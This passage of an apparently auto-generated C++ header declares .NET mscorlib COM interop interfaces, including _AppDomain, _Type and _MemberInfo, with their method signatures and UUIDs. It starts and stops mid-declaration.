struct IFormatProvider * provider, /*[out,retval]*/ short * pRetVal ) = 0; virtual HRESULT __stdcall ToUInt16 ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ unsigned short * pRetVal ) = 0; virtual HRESULT __stdcall ToInt32 ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall ToUInt32 ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ unsigned long * pRetVal ) = 0; virtual HRESULT __stdcall ToInt64 ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ __int64 * pRetVal ) = 0; virtual HRESULT __stdcall ToUInt64 ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ unsigned __int64 * pRetVal ) = 0; virtual HRESULT __stdcall ToSingle ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ float * pRetVal ) = 0; virtual HRESULT __stdcall ToDouble ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ double * pRetVal ) = 0; virtual HRESULT __stdcall ToDecimal ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ DECIMAL * pRetVal ) = 0; virtual HRESULT __stdcall ToDateTime ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ DATE * pRetVal ) = 0; virtual HRESULT __stdcall get_ToString ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall ToType ( /*[in]*/ struct _Type * conversionType, /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("05f696dc-2b29-3663-ad8b-c4389cf2a713")) _AppDomain : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall InitializeLifetimeService ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetLifetimeService ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_Evidence ( /*[out,retval]*/ struct _Evidence * * pRetVal ) = 0; virtual HRESULT __stdcall add_DomainUnload ( /*[in]*/ struct _EventHandler * value ) = 0; virtual HRESULT __stdcall remove_DomainUnload ( /*[in]*/ struct _EventHandler * value ) = 0; virtual HRESULT __stdcall add_AssemblyLoad ( /*[in]*/ struct _AssemblyLoadEventHandler * value ) = 0; virtual HRESULT __stdcall remove_AssemblyLoad ( /*[in]*/ struct _AssemblyLoadEventHandler * value ) = 0; virtual HRESULT __stdcall add_ProcessExit ( /*[in]*/ struct _EventHandler * value ) = 0; virtual HRESULT __stdcall remove_ProcessExit ( /*[in]*/ struct _EventHandler * value ) = 0; virtual HRESULT __stdcall add_TypeResolve ( /*[in]*/ struct _ResolveEventHandler * value ) = 0; virtual HRESULT __stdcall remove_TypeResolve ( /*[in]*/ struct _ResolveEventHandler * value ) = 0; virtual HRESULT __stdcall add_ResourceResolve ( /*[in]*/ struct _ResolveEventHandler * value ) = 0; virtual HRESULT __stdcall remove_ResourceResolve ( /*[in]*/ struct _ResolveEventHandler * value ) = 0; virtual HRESULT __stdcall add_AssemblyResolve ( /*[in]*/ struct _ResolveEventHandler * value ) = 0; virtual HRESULT __stdcall remove_AssemblyResolve ( /*[in]*/ struct _ResolveEventHandler * value ) = 0; virtual HRESULT __stdcall add_UnhandledException ( /*[in]*/ struct _UnhandledExceptionEventHandler * value ) = 0; virtual HRESULT __stdcall remove_UnhandledException ( /*[in]*/ struct _UnhandledExceptionEventHandler * value ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_2 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ BSTR dir, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_3 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ struct _Evidence * Evidence, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_4 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ struct _PermissionSet * requiredPermissions, /*[in]*/ struct _PermissionSet * optionalPermissions, /*[in]*/ struct _PermissionSet * refusedPermissions, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_5 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ BSTR dir, /*[in]*/ struct _Evidence * Evidence, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_6 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ BSTR dir, /*[in]*/ struct _PermissionSet * requiredPermissions, /*[in]*/ struct _PermissionSet * optionalPermissions, /*[in]*/ struct _PermissionSet * refusedPermissions, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_7 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ struct _Evidence * Evidence, /*[in]*/ struct _PermissionSet * requiredPermissions, /*[in]*/ struct _PermissionSet * optionalPermissions, /*[in]*/ struct _PermissionSet * refusedPermissions, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_8 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ BSTR dir, /*[in]*/ struct _Evidence * Evidence, /*[in]*/ struct _PermissionSet * requiredPermissions, /*[in]*/ struct _PermissionSet * optionalPermissions, /*[in]*/ struct _PermissionSet * refusedPermissions, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall DefineDynamicAssembly_9 ( /*[in]*/ struct _AssemblyName * name, /*[in]*/ enum AssemblyBuilderAccess access, /*[in]*/ BSTR dir, /*[in]*/ struct _Evidence * Evidence, /*[in]*/ struct _PermissionSet * requiredPermissions, /*[in]*/ struct _PermissionSet * optionalPermissions, /*[in]*/ struct _PermissionSet * refusedPermissions, /*[in]*/ VARIANT_BOOL IsSynchronized, /*[out,retval]*/ struct _AssemblyBuilder * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstance ( /*[in]*/ BSTR AssemblyName, /*[in]*/ BSTR typeName, /*[out,retval]*/ struct _ObjectHandle * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstanceFrom ( /*[in]*/ BSTR assemblyFile, /*[in]*/ BSTR typeName, /*[out,retval]*/ struct _ObjectHandle * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstance_2 ( /*[in]*/ BSTR AssemblyName, /*[in]*/ BSTR typeName, /*[in]*/ SAFEARRAY * activationAttributes, /*[out,retval]*/ struct _ObjectHandle * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstanceFrom_2 ( /*[in]*/ BSTR assemblyFile, /*[in]*/ BSTR typeName, /*[in]*/ SAFEARRAY * activationAttributes, /*[out,retval]*/ struct _ObjectHandle * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstance_3 ( /*[in]*/ BSTR AssemblyName, /*[in]*/ BSTR typeName, /*[in]*/ VARIANT_BOOL ignoreCase, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * args, /*[in]*/ struct _CultureInfo * culture, /*[in]*/ SAFEARRAY * activationAttributes, /*[in]*/ struct _Evidence * securityAttributes, /*[out,retval]*/ struct _ObjectHandle * * pRetVal ) = 0; virtual HRESULT __stdcall CreateInstanceFrom_3 ( /*[in]*/ BSTR assemblyFile, /*[in]*/ BSTR typeName, /*[in]*/ VARIANT_BOOL ignoreCase, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * args, /*[in]*/ struct _CultureInfo * culture, /*[in]*/ SAFEARRAY * activationAttributes, /*[in]*/ struct _Evidence * securityAttributes, /*[out,retval]*/ struct _ObjectHandle * * pRetVal ) = 0; virtual HRESULT __stdcall Load ( /*[in]*/ struct _AssemblyName * assemblyRef, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall Load_2 ( /*[in]*/ BSTR assemblyString, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall Load_3 ( /*[in]*/ SAFEARRAY * rawAssembly, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall Load_4 ( /*[in]*/ SAFEARRAY * rawAssembly, /*[in]*/ SAFEARRAY * rawSymbolStore, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall Load_5 ( /*[in]*/ SAFEARRAY * rawAssembly, /*[in]*/ SAFEARRAY * rawSymbolStore, /*[in]*/ struct _Evidence * securityEvidence, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall Load_6 ( /*[in]*/ struct _AssemblyName * assemblyRef, /*[in]*/ struct _Evidence * assemblySecurity, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall Load_7 ( /*[in]*/ BSTR assemblyString, /*[in]*/ struct _Evidence * assemblySecurity, /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall ExecuteAssembly ( /*[in]*/ BSTR assemblyFile, /*[in]*/ struct _Evidence * assemblySecurity, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall ExecuteAssembly_2 ( /*[in]*/ BSTR assemblyFile, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall ExecuteAssembly_3 ( /*[in]*/ BSTR assemblyFile, /*[in]*/ struct _Evidence * assemblySecurity, /*[in]*/ SAFEARRAY * args, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_FriendlyName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_BaseDirectory ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_RelativeSearchPath ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_ShadowCopyFiles ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetAssemblies ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall AppendPrivatePath ( /*[in]*/ BSTR Path ) = 0; virtual HRESULT __stdcall ClearPrivatePath ( ) = 0; virtual HRESULT __stdcall SetShadowCopyPath ( /*[in]*/ BSTR s ) = 0; virtual HRESULT __stdcall ClearShadowCopyPath ( ) = 0; virtual HRESULT __stdcall SetCachePath ( /*[in]*/ BSTR s ) = 0; virtual HRESULT __stdcall SetData ( /*[in]*/ BSTR name, /*[in]*/ VARIANT data ) = 0; virtual HRESULT __stdcall GetData ( /*[in]*/ BSTR name, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall SetAppDomainPolicy ( /*[in]*/ struct _PolicyLevel * domainPolicy ) = 0; virtual HRESULT __stdcall SetThreadPrincipal ( /*[in]*/ struct IPrincipal * principal ) = 0; virtual HRESULT __stdcall SetPrincipalPolicy ( /*[in]*/ enum PrincipalPolicy policy ) = 0; virtual HRESULT __stdcall DoCallBack ( /*[in]*/ struct _CrossAppDomainDelegate * theDelegate ) = 0; virtual HRESULT __stdcall get_DynamicDirectory ( /*[out,retval]*/ BSTR * pRetVal ) = 0; }; struct __declspec(uuid("2b130940-ca5e-3406-8385-e259e68ab039")) ICustomFormatter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall format ( /*[in]*/ BSTR format, /*[in]*/ VARIANT arg, /*[in]*/ struct IFormatProvider * formatProvider, /*[out,retval]*/ BSTR * pRetVal ) = 0; }; struct __declspec(uuid("c8cb1ded-2814-396a-9cc0-473ca49779cc")) IFormatProvider : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetFormat ( /*[in]*/ struct _Type * formatType, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("b9b91146-d6c2-3a62-8159-c2d1794cdeb0")) ICustomAttributeProvider : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("f7102fa9-cabb-3a74-a6da-b4567ef1b079")) _MemberInfo : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("bca8b44d-aad6-3a86-8ab7-03349f4f2da2")) _Type : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT other, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_MemberType ( /*[out,retval]*/ enum MemberTypes * pRetVal ) = 0; virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_DeclaringType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReflectedType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetCustomAttributes_2 ( /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall IsDefined ( /*[in]*/ struct _Type * attributeType, /*[in]*/ VARIANT_BOOL inherit, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_Guid ( /*[out,retval]*/ GUID * pRetVal ) = 0; virtual HRESULT __stdcall get_Module ( /*[out,retval]*/ struct _Module * * pRetVal ) = 0; virtual HRESULT __stdcall get_Assembly ( /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; virtual HRESULT __stdcall get_TypeHandle ( /*[out,retval]*/ struct RuntimeTypeHandle * pRetVal ) = 0; virtual HRESULT __stdcall get_FullName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_Namespace ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_AssemblyQualifiedName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetArrayRank ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_BaseType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetConstructors ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetInterface ( /*[in]*/ BSTR name, /*[in]*/ VARIANT_BOOL ignoreCase, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetInterfaces ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall FindInterfaces ( /*[in]*/ struct _TypeFilter * filter, /*[in]*/ VARIANT filterCriteria, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetEvent ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _EventInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetEvents ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetEvents_2 ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNestedTypes ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNestedType ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetMember ( /*[in]*/ BSTR name, /*[in]*/ enum MemberTypes Type, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetDefaultMembers ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall FindMembers ( /*[in]*/ enum MemberTypes MemberType, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _MemberFilter * filter, /*[in]*/ VARIANT filterCriteria, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetElementType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall IsSubclassOf ( /*[in]*/ struct _Type * c, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall IsInstanceOfType ( /*[in]*/ VARIANT o, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall IsAssignableFrom ( /*[in]*/ struct _Type * c, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetInterfaceMap ( /*[in]*/ struct _Type * interfaceType, /*[out,retval]*/ struct InterfaceMapping * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_2 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethods ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetField ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _FieldInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetFields ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_2 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ struct _Type * returnType, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperties ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMember_2 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMembers ( /*[in]*/ enum BindingFlags bindingAttr, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall InvokeMember ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ VARIANT Target, /*[in]*/ SAFEARRAY * args, /*[in]*/ SAFEARRAY * modifiers, /*[in]*/ struct _CultureInfo * culture, /*[in]*/ SAFEARRAY * namedParameters, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_UnderlyingSystemType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall InvokeMember_2 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ VARIANT Target, /*[in]*/ SAFEARRAY * args, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall InvokeMember_3 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags invokeAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ VARIANT Target, /*[in]*/ SAFEARRAY * args, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetConstructor ( /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ enum CallingConventions callConvention, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _ConstructorInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetConstructor_2 ( /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _ConstructorInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetConstructor_3 ( /*[in]*/ SAFEARRAY * types, /*[out,retval]*/ struct _ConstructorInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetConstructors_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_TypeInitializer ( /*[out,retval]*/ struct _ConstructorInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_3 ( /*[in]*/ BSTR name, /*[in]*/ enum BindingFlags bindingAttr, /*[in]*/ struct _Binder * Binder, /*[in]*/ enum CallingConventions callConvention, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_4 ( /*[in]*/ BSTR name, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_5 ( /*[in]*/ BSTR name, /*[in]*/ SAFEARRAY * types, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethod_6 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetMethods_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetField_2 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _FieldInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetFields_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetInterface_2 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetEvent_2 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _EventInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_3 ( /*[in]*/ BSTR name, /*[in]*/ struct _Type * returnType, /*[in]*/ SAFEARRAY * types, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_4 ( /*[in]*/ BSTR name, /*[in]*/ struct _Type * returnType, /*[in]*/ SAFEARRAY * types, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_5 ( /*[in]*/ BSTR name, /*[in]*/ SAFEARRAY * types, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_6 ( /*[in]*/ BSTR name, /*[in]*/ struct _Type * returnType, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperty_7 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall GetProperties_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNestedTypes_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetNestedType_2 ( /*[in]*/ BSTR name, /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall GetMember_3 ( /*[in]*/ BSTR name, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall GetMembers_2 ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_Attributes ( /*[out,retval]*/ enum TypeAttributes * pRetVal ) = 0; virtual HRESULT __stdcall get_IsNotPublic ( /*[out,retval]*/ 